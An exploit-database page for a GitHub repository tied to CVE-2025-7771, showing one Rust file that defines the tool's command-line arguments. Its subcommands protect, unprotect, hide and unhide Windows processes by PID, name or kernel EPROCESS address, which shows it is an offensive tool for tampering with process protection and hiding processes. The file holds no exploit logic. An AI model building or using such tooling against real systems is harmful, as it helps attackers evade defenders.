Exploit databaseDownload repository ZIP
GH-9a5c1eea44c09b037174252c03eab21e
xm0kht4r/cve-2025-7771
Sources for CVE-2025-7771
13 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
xm0kht4r/cve-2025-7771Revision 956686340c37
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/utils.rs
Rust · 1,051 bytesuse clap::{Parser, Subcommand};
#[derive(Parser, Debug)]
#[command(name = "CVE-2025-7771")]
pub struct Args {
#[command(subcommand)]
pub command: Commands,
}
#[derive(Clone, Debug)]
pub enum Process {
Pid(u32),
Name(String),
}
impl std::str::FromStr for Process {
type Err = String;
fn from_str(s: &str) -> Result<Self, Self::Err> {
if let Ok(pid) = s.parse::<u32>() {
Ok(Process::Pid(pid))
} else {
if s.contains('\\') || s.contains('/') || s.is_empty() {
Err("Invalid input. Use PID or process name ".into())
} else {
Ok(Process::Name(s.to_string()))
}
}
}
}
#[derive(Subcommand, Debug)]
pub enum Commands {
Protect { target: Process },
Unprotect { target: Process },
Hide { target: Process },
Unhide {
#[clap(long, help = "EPROCESS address in hex (e.g., 0xffffc404650d3080)")]
eprocess: String
},
}